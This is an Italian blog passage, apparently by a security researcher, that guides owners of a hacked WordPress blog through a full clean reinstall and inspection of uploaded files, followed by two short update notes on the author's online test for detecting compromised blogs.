Potete anche mandarli a me, dietro accordi preliminari. Nel database vi è tutta la vostra produzione, ma non è quella che mi interessa, se volessi potrei prenderla direttamente dal sito, visto che è pubblicata, come pure i file dell’installazione di WordPress che, ricordiamolo, è un Open Source, quindi non c’è nulla di segreto. Mentre è importantissimo poter esaminare come opera il nostro amico mentecatto, per poterlo contrastare efficacemente. Per questo ho bisogno sia del backup completo del database che di tutti i file contenuti dentro l’installazione del blog, anche di quelli che credete di aver messo voi. Ma questo non è assolutamente obbligatorio. Naturalmente, se volete che possa continuare a contrastare il nostro amico mentecatto, scrivendo ad esempio documenti come questo, o tenendo aggiornato il test di contagio, ho assoluta necessità dei dati del vostro blog violato.

Ma andiamo avanti con le operazioni di bonifica.

Abbiamo due possibilità: tentare una bonifica andando ad eliminare le mine una alla volta, ma posso assicurarvi che non è per niente banale, il nostro amico mentecatto ha fatto bene il suo lavoro; oppure ripartire da una installazione pulita, che è la situazione che vi consiglio caldamente.

Di seguito facciamo una operazione di Export, tramite la funzione apposita nel pannello di amministrazione di WordPress. Questa funzione genera un file con tutto il contenuto originale di WordPress: articoli, commenti, categorie, tag, insomma, tutto quello che conta. Quello che è certo è che lascia fuori quasi certamente tutte le mine disseminate dal nostro amico mentecatto. Solo nel caso, visto in alcuni blog, di link spam nascosti in normali articoli, questi rimarranno: occorrerà pulire gli articoli uno ad uno, ma non è una mina, è solo codice HTML, statico, niente di pericoloso. Basta ripulirlo editando l’articolo, ma lo faremo dopo.

Edit delle 17.15
Se il nostro blog ha una versione molto vecchia di WordPress, precedente alla versione 2.1.x, non c’è la funzione di Export, disponibile appunto a partire dalla versione 2.1.x. Una soluzione percorribile può essere di fare un aggiornamento “di comodo” del solo codice del blog alla versione 2.2, 2.3 o 2.5, usando il tema di default e disabilitando tutti i plugin, per poter utilizzare l’esportazione, poi procedere con il seguito delle operazioni.

Via tutto

Via il database, via tutti i file nello spazio di hosting. Ma proprio tutto. Deve rimanere il vuoto. Il database deve essere cancellato, o quanto meno eliminate tutte le tabelle, anche se il nostro amico mentecatto potrebbe averne create di proprie, quindi meglio eliminare tutto.

Se proprio vogliamo essere gentili con i nostri visitatori e lettori, carichiamo un bel file index.html con un cartello “Chiuso per Manutenzione”, che abbiamo preparato in anticipo. Niente PHP, mi raccomando.

Il nuovo database

Adesso possiamo creare la nuova installazione, partendo appunto dal database. Per prima cosa cambiamo la password di accesso al database. Il mentecatto ha avuto accesso a tutti i file dell’installazione, tra cui il prezioso wp-config.php, che contiene utente e password del database. Quindi dobbiamo cambiare almeno la password di accesso. Se poi il nostro servizio di hosting lo permette, cambiamo anche il nome del database e dell’utente usato da WordPress, oltre alla password. I dati che il mentecatto ha in mano devono diventare inutili.

WordPress, ultima versione

Andiamo sul sito di WordPress e prendiamo l’ultima versione rilasciata. Installeremo quella e non la vecchia: se rimettiamo quella che avevamo prima, stiamo di nuovo consegnando il nostro blog nelle mani del mentecatto. Se non potete aggiornare per via di quel bellissimo tema che avevate, o di quei plugin irrinunciabili che sulla nuova versione non funzionano, buttate tema e plugin: non aggiornando consegnate il blog al mentecatto. Senza eccezioni. Al diavolo temi e plugin.

Non ci sono altre possibilità, né se o ma: dovete aggiornare all’ultima versione di WordPress, questa è l’unica cosa irrinunciabile.. Altrimenti tanto vale che rimanete col blog compromesso, in compagnia del mentecatto che scrive le sue cose insieme a voi. Se pensate che siano battute o esagerazioni, non sarò io a sprecare il fiato per convincervi del contrario: smettete di leggere immediatamente questo testo, stiamo sprecando tempo in due, io a scriverlo e voi a leggerlo. E salutatemi tanto il mentecatto. Che, lo ricordo è un amministratore del blog, quindi può fare di tutto, anche buttarvi fuori dal blog.

Fatta l’installazione pulita, possiamo partire con l’attivazione del nuovo blog. Ovviamente il nuovo file wp-config.php conterrà tutt’altre cose rispetto al vecchio. Già che ci siamo possiamo anche dare una rinforzata alle difese del blog, come spiegato qui.

Una volta attivato il nuovo blog, possiamo ricreare gli utenti, facendo attenzione a cambiarne le password di accesso. Il mentecatto ha avuto accesso al database, che le contiene sotto forma di hash non reversibile, ma esistono le rainbow tables, quindi meglio stare sul sicuro. Tanto più che le password nel database sono cifrate (non è proprio così, ma non stiamo a sottilizzare), ma quelle che inseriamo per entrare arrivano in chiaro e il mentecatto può aver messo un frammento di codice PHP per intercettarle e leggerle prima che siano trasformate in hash.

Poi passiamo a riconfigurare le opzioni di funzionamento del blog, secondo i nostri gusti e necessità.

Tema e plugin

Possiamo ora rimettere quei plugin che funzionano con la nuova versione di WordPress, ma installando i file presi dal sito originale del plugin, non quelli presi dal backup del blog. Prenderemo ovviamente le ultime versioni, e scarteremo senza pietà quelli che non funzionano.

Stessa cosa per i temi, facendo attenzione a non installare un tema troianizzato, cosa assolutamente da evitare. Se il vecchio tema non funziona con la nuova versione di WordPress, pazienza, ne useremo uno nuovo. Non useremo nessun file preso dalla vecchia installazione, pena l’invito al mentecatto a rientrare nel blog.

Ripristinare i file in upload

Ora arriva la parte più delicata. Occorre rimettere sul sito i file che avevamo caricato nel tempo, durante la normale attività. Immagini, documenti PDF, presentazioni, file audio o video, insomma tutti i nostri contenuti. Se pensiamo di prendere la directory uploads dalla vecchia installazione e rimetterla al suo posto, abbiamo già sbagliato. Andiamo a prendere i file originali e li metteremo al loro posto, se li abbiamo, altrimenti possiamo riutilizzare quelli del backup, ma prima li controlliamo uno ad uno, aprendoli per esaminarne il contenuto. Non ci fideremo di quello che dice il nome del file: lo apriremo e ne ispezioniamo il contenuto. Se è una immagine, la apriremo col nostro programma di visualizzazione o editing preferito. Se è un PDF, lo scorreremo per vedere che sia un PDF, e non qualcos’altro. Con l’occasione, possiamo togliere quelli non più utilizzati, col vantaggio di guadagnare un po’ di spazio sprecato, che non fa mai male.

Non è un passo che si può saltare, e non deve essere sottovalutato. In quei pochi blog che ho potuto esaminare personalmente, il mentecatto aveva piazzato le sue mine ogni volta in un posto differente: come falso file Javascript, come immagine nel tema, rinominata _old.jpg, come finto file .zip con lo stesso nome di un plugin installato, tanto per fare qualche esempio. Tutti invece erano file PHP che venivano inclusi ed eseguiti da un altro pezzo di codice iniettato dal mentecatto. Se puliamo tutto e poi lasciamo anche uno solo di questi file negli upload, stiamo lasciando un invito gratuito al mentecatto. Che non esiterà ad accettare, e saremo daccapo.

Rimettiamo dentro tutto il resto

Ora che tutto è in ordine, possiamo usare la funzione di Import dal pannello di amministrazione di WordPress e caricare il file salvato in precedenza. Al termine del caricamento, la funzione di Import ci chiederà la corrispondenza fra i vecchi autori ed utenti ed i nuovi, così da associare correttamente la proprietà di ogni articolo.

Restart

Dovremmo aver terminato. Naturalmente faremo un giro di ispezione al blog, per vedere che immagini, articoli, categorie e tag siano al loro posto. La procedura è lunga e faticosa, ma l’intrusione è molto pesante e subdola, per cui è assolutamente necessario operare in condizioni di assoluta sicurezza. Ecco il motivo delle cancellazioni di database e file, dei cambi di password e dell’ispezione accurata di tutto il materiale.

La convalescenza

Ora il nostro amato blog è a posto. Da ora in poi aggiorneremo sia WordPress che i plugin ad ogni rilascio. E se un plugin smette di funzionare, vi rinunceremo, piuttosto che ritardare l’aggiornamento di WordPress: il mentecatto è sempre là fuori in attesa di un nostro momento di disattenzione.

Tutti i passi sono fondamentali

Se pensiamo di fare le cose in fretta, saltando uno dei passi, non risolveremo niente. Vi sono blog che hanno tutti i segni di un aggiornamento affrettato, senza pulizia del database e degli upload, e contengono centinaia di link di spam nascosti negli articoli. Il mentecatto ha provveduto a fare l’unica cosa che poteva: da amministratore ha modificato qualche articolo per includere i link, nascosti con un comando di stile CSS. E’ ancora lì, annidato nel blog.

Altri blog sono tornati ad essere compromessi. Il mentecatto sa che voi tenterete l’aggiornamento ed ha preso tutte le contromisure. Rimarrà nascosto fino a quando sarà certo di averla scampata, poi tornerà a prendere possesso del vostro blog.

Conclusione

Chiudo qui. Sono a disposizione per chiarimenti e per aiutarvi, non voglio niente in cambio. Vi chiedo solo di non sottovalutare il fatto di avere un sito compromesso. Al recente convegno di CFItaly ho parlato di come un blog compromesso può essere sfruttato per commettere crimini, non solo di tipo informatico (vedere la mia presentazione qui).

Naturalmente vi invito a leggere tutti gli altri articoli sul tema, pubblicati nella categoria WordPress.

Tags: ,

Owned WordPress autotest: nuovo rilascio

Ho scoperto che alcuni server di hosting non gradiscono la stringa che uso per lo user agent, così l’ho cambiata in una meno “indigesta”.

Ho tolto una delle parole chiave che dava falsi allarmi, e ne ho aggiunte altre due meno problematiche, ma certamente più peculiari.

Il controllo è sempre qui.

Owned WordPress autotest: versione 1.5 rilasciata

Ho aggiornato il test di controllo per blog compromessi (vedi qui).

Le modifiche sono per lo più cosmetiche: viene stampato l’elenco sia delle parole chiave trovate con il conteggio, sia un campione dei link abusivi. Ho aggiunto alcune parole chiave nuove fra quelle controllate, visto che fra i link spam ora c’è anche la pubblicità per le suonerie dei cellulari.

Ho aggiunto un avviso sulla natura del controllo, che naturalmente è stato equivocato per un controllo sui temi troianizzati, invece che un test per vedere se il blog ci appartiene ancora, cosa un po’ più grave.

Ma di questo ho già parlato. Ieri ho avvisato altre sei persone che si trovano con il blog compromesso, e sono siti importanti. Indovinate un po’? Nessuna risposta.

Penso che a breve lascerò perdere questa indagine, e mi dedicherò ad altro. Il mio tempo è limitato e le cose da fare si accumulano, quindi sono costretto a scegliere.

Per ora non pubblicherò il codice del test per evitare che gli spammer possano cambiare lo schema di infezione e vanificare il controllo. Poi chissà.

Da questo momento, se avete il blog compromesso niente più avvisi e niente più aiuto gratis. Spiacente. Come si dice in inglese: you are on your own.

Tags: , , ,